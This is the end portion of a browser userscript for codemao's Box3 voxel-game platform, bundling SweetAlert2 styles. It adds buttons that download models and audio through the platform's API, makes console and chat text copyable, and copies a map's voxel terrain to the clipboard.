[class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;box-sizing:border-box;grid-template-areas:"top-start     top            top-end" "center-start  center         center-end" "bottom-start  bottom-center  bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:rgba(0,0,0,0) !important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none !important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:serif;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:rgba(0,0,0,0);color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}');
      })(sweetalert2_all);
      const Swal = sweetalert2_all.exports;
     
    async function waitElement(query) {
    let el;
    while (true) {
      el = document.querySelector(query);
      if (el)
        return el;
      await new Promise(requestAnimationFrame);
    }
    }
     
    const addCopyButton=`
    <div id="copy" style="box-shadow: 0 0 50px 3px #00000038;z-index: 99999997;bottom: 100px;position: fixed;right: 50px;background: RGBA(255,255,255,0.3);padding: 0 20px;border-radius: 5px;height:30px">
    <i style="color:lightblue;font-size: 20px;font-family: '黑体';">
    <b id="change">复制地形</b>
    </i>
    </div>  
    `
     
    const addDownloadButton=`<div><div style="float: left" id="download">
        <svg style="font-size: 24px;" class="_2cOHkHbW1-1Jurc2jpRaEl"><!--?xml version="1.0" encoding="UTF-8"?-->
        <svg width="22" height="25" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">
        <path d="M11.6777 20.271C7.27476 21.3181 4 25.2766 4 30C4 35.5228 8.47715 40 14 40C14.9474 40 15.864 39.8683 16.7325 39.6221" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
        <path d="M36.0547 20.271C40.4577 21.3181 43.7324 25.2766 43.7324 30C43.7324 35.5228 39.2553 40 33.7324 40C32.785 40 31.8684 39.8683 30.9999 39.6221" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
        <path d="M36 20C36 13.3726 30.6274 8 24 8C17.3726 8 12 13.3726 12 20" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
        <path d="M17.0654 30.119L23.9999 37.0764L31.1318 30" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
        <path d="M24 20V33.5382" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path></svg></svg></div>
    <p style="float: left;font-size:10px;margin-left:0px;color: #888888;">box3 up</p></div>`
     
    var httpRequest = new XMLHttpRequest()
    var _httpRequest = new XMLHttpRequest()
    var $httpRequest = new XMLHttpRequest()
     
    httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
    httpRequest.setRequestHeader("Content-type","application/json")
     
    _httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
    _httpRequest.setRequestHeader("Content-type","application/json")
     
    $httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
    $httpRequest.setRequestHeader("Content-type","application/json")
     
    const url=new URL(window.location.href)
    const type=url.pathname.match('/(.*?)/')[1]
     
    let Button,where,data,hash,name,result,_hash,szie,blob,core,reactNodeName,box3CoreElement,voxels,v,ar,container,canCopy,rootElement
    //let core;
     
    setInterval(async()=>{//5秒执行一次可复制
        try{
        container = document.getElementsByClassName("ewiWP7xeQi2lL41Slo6EY")[0]//控制台可复制
        container.setAttribute("contenteditable","true")
        container.addEventListener('keydown', e => {
          if (e.code=='KeyC'){
              
              navigator.clipboard.writeText(
                window.getSelection().toString())
              
          }
          e.preventDefault(e);
        });
        
        container = document.getElementsByClassName("_1v70OnBk5qWHiY_wwKmOFQ")[0]//聊天框
            container.setAttribute("contenteditable","true")
            container.addEventListener('keydown', e => {
            if (e.code=='KeyC'){
              navigator.clipboard.writeText(
                window.getSelection().toString())
            };
            e.preventDefault(e);
        });
        container = document.querySelector("#__next__root > div > div.main-page_MainEditor__m_5Aw > div.main-page_gameEditor__YUu_y > div > div.debugPanel_logWrapper__Jcga0.editor-common_scrollbarStyle__S6GxS > div")
        //新版控制台
            container.setAttribute("contenteditable","true")
            container.addEventListener('keydown', e => {
            if (e.code=='KeyC'){
              navigator.clipboard.writeText(
                window.getSelection().toString())
            };
            e.preventDefault(e);
        });
        }catch{};
    },5000)
     
    setTimeout(async()=>{//延迟 防止页面未刷新时运行
    document.designMode='true'
        canCopy=document.createElement("style")
        canCopy.innerHTML=`::selection{
            background-color:lightblue
        }`
        document.head.appendChild(canCopy)
    switch(type){
        
        case 'v':
            
             Button=document.createElement('div')
            Button.innerHTML=addDownloadButton
             where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
            where.appendChild(Button)
            document.getElementById("download").addEventListener('click',async()=>{
                httpRequest.open('POST', 'https://box3.codemao.cn/api/api/content-server-rpc', true)
                 data={"type":"get",
                    "data":{
                        "type":"id",
                        "data":{
                            "type":2,
                            "isPublic":true,
                            "contentId":~~url.pathname.replace(url.pathname.match('/(.*?)/')[0],'')
                            }
                        }
                    }
                httpRequest.send(JSON.stringify(data))
                httpRequest.onreadystatechange=async()=>{
                    if(httpRequest.readyState !=4)return;
                    if(httpRequest.status===200&&httpRequest.response){
                         hash=JSON.parse(await httpRequest.response).data.data.hash
                         name=JSON.parse(await httpRequest.response).data.data.name
     
                        // console.log(JSON.parse(await httpRequest.response))
                        navigator.clipboard.writeText(hash)
                        console.log('成功获取到hash ',hash,'\n作品名称为',name)
                         result=await Swal.fire({
                              title:"成功获取到hash",
                              html:`hash: ${hash}<br/>已将Hash复制到剪贴板<br/>`,
                              cancelButtonText:"关闭",
                              // confirmButtonText:"下载文件",
                              // showCancelButton:true,
                              icon:"info",
                            }).isConfirmed
     
                        console.log('开始下载')
                        await saveAs(`https://static.box3.codemao.cn/block/${hash}`,name+'.vd')
                        console.log('结束下载')
     
                    }
                    else{
                        console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
                        Swal.fire(
                          `获取失败`,
                          `${httpRequest.status} ${httpRequest.statusText}`,
                          "error"
                        )
                    }
                }
            })
            break;
        
        case 'm':
             Button=document.createElement('div')
            Button.innerHTML=addDownloadButton
             where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
            where.appendChild(Button)
            document.getElementById("download").addEventListener('click',async()=>{
                httpRequest.open('POST', 'https://box3.codemao.cn/api/api/content-server-rpc', true)
                 data={"type":"get",
                    "data":{
                        "type":"id",
                        "data":{
                            "type":3,
                            "isPublic":true,
                            "contentId":~~url.pathname.replace(url.pathname.match('/(.*?)/')[0],'')
                            }
                        }
                    }
                httpRequest.send(JSON.stringify(data))
                httpRequest.onreadystatechange=async()=>{
                    if(httpRequest.readyState !=4)return;
                    if(httpRequest.status===200&&httpRequest.response){
                        hash=JSON.parse(await httpRequest.response).data.data.hash
                        name=JSON.parse(await httpRequest.response).data.data.name
                        console.log(JSON.parse(await httpRequest.response).data.data.hash)
                        console.log(`将请求https://static.box3.codemao.cn/block/${JSON.parse(await httpRequest.response).data.data.hash}`)
                        
                        _httpRequest.open('get',`https://static.box3.codemao.cn/block/${hash}`,true)
                        _httpRequest.send()
                         
                         
                        _httpRequest.onreadystatechange=async()=>{
                            // console.log(JSON.parse(await httpRequest.response))
                            if(_httpRequest.readyState !=4)return;
                            if(_httpRequest.status===200&&_httpRequest.response){
                            _hash=JSON.parse(await _httpRequest.response).audioFiles[0].url
                            //size=JSON.parse(await _httpRequest.response).audioFiles[0].size
                            navigator.clipboard.writeText(_hash)
                            console.log('成功获取到hash ',_hash,'\n作品名称为',name)
                             result=await Swal.fire({
                                  title:"成功获取到hash",
                                  html:`#注:十分抱歉 因为伴雪能力有限没有办法转码了</br>你只能下载完文件后自己<b>调后缀名为.mp3</b></br>hash: ${_hash}<br/>已将Hash复制到剪贴板<br/>`,
                                  cancelButtonText:"关闭",
                                  // confirmButtonText:"下载文件",
                                  // showCancelButton:true,
                                  icon:"info",
                                }).isConfirmed
     
                                console.log('开始下载')
                                // $httpRequest.open('get',`https://static.box3.codemao.cn/block/${hash}`,true)
                                // $httpRequest.send()
                                // $httpRequest.onreadystatechange=async()=>{
                                    // if($httpRequest.readyState!=4)return;
                                    // blob = new Blob([$httpRequest.response], {type: "octet/stream;charset=ANSI"}); 
                                    // saveAs(blob, name+'.mp3'); 
                                // }
                                
                                // // saveAs(``,name+'.mp3'); 
                                open(`https://static.box3.codemao.cn/block/${_hash}`)
                                console.log('结束下载')
                            }
                            else{
                                console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
                                Swal.fire(`获取失败`,`${_httpRequest.status} ${_httpRequest.statusText}`,"error")
                            }
                        }
                    }
                    else{
                        console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
                        Swal.fire(`获取失败`,`${httpRequest.status} ${httpRequest.statusText}`,"error")
                        }
                        
                }
                
            })
            break;
        case 'g':
            Button=document.createElement('div')
            Button.innerHTML=`<p style="float: left;font-size:3px;margin-left:0px;color: #888888;">
                不支持复制</br>有啥不满找吉吉喵理论</p>`
            where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
            where.appendChild(Button)
            break;
        case 'p':
            box3CoreElement = document.querySelector('#react-container');
            reactNodeName = Object.keys(box3CoreElement).filter((v) => v.includes('reactContain'))[0];
            core = box3CoreElement[reactNodeName].updateQueue.baseState.element.props.children.props.children.props;
            
            Button=document.createElement('div')
            Button.innerHTML=addDownloadButton.replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff")
            .replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#888888","#ffffff")
            
            where=document.getElementsByClassName("_3yZMLEB3f5nRSuAJ-yI7f9")[0]
            where.appendChild(Button)
            
            document.getElementById("download").addEventListener('click',async()=>{
                voxels=[[0,1]]
                
                for (var x = 0; x <= core.state.box3.state.voxel.shape[0]; x++) {
                for (var z = 0; z <= core.state.box3.state.voxel.shape[2]; z++) {
                for (var y = 0; y <= core.state.box3.state.voxel.shape[1]; y++) {
                    if(!voxels){
                        voxels.push([v,1])
                        continue
                    }
                    v=core.state.box3.voxel.getVoxel(x, y, z)
                    // console.log(voxels,voxels.length-1,v)
                    if(voxels[voxels.length-1][0]===v){
                        voxels[voxels.length-1][1]+=1
                    }
                    else{
                        voxels.push([v,1])
                    }
     
                }}}
     
                
                console.log(voxels)
                navigator.clipboard.writeText(JSON.stringify(voxels))
                Swal.fire('复制地图地形',`且用且珍惜</br>地图<b>全部地形已完成复制到剪切板 并使用最新压缩</b>
                </br>请先创建一样尺寸的地图</br>然后在创作端输入解压缩代码<b></b></br></br><b>该地图大小为${core.state.box3.state.voxel.shape}</b></br><a href="https://api.bcmcreator.cn/MD/edit/examples/yll.php?k=3&amp;xjm=63299871529974642942" title="如何复制地形?" target="_blank"><strong>如何复制地形?</strong></a>`,"info")
            })
        break;
        case "e":
    // 		Button=document.createElement('div')
    // 		Button.innerHTML=addCopyButton
    // 		where=document.body
    // 		where.appendChild(Button)
    // 		document.getElementById("change").innerHTML="等待进入"
    // 		rootElement = await waitElement("#edit-react");
    // 		document.getElementById("change").innerHTML="复制地形"
    // 		core=rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props
            
            
        break;
    }},2000)
     
    })();
    //更新中....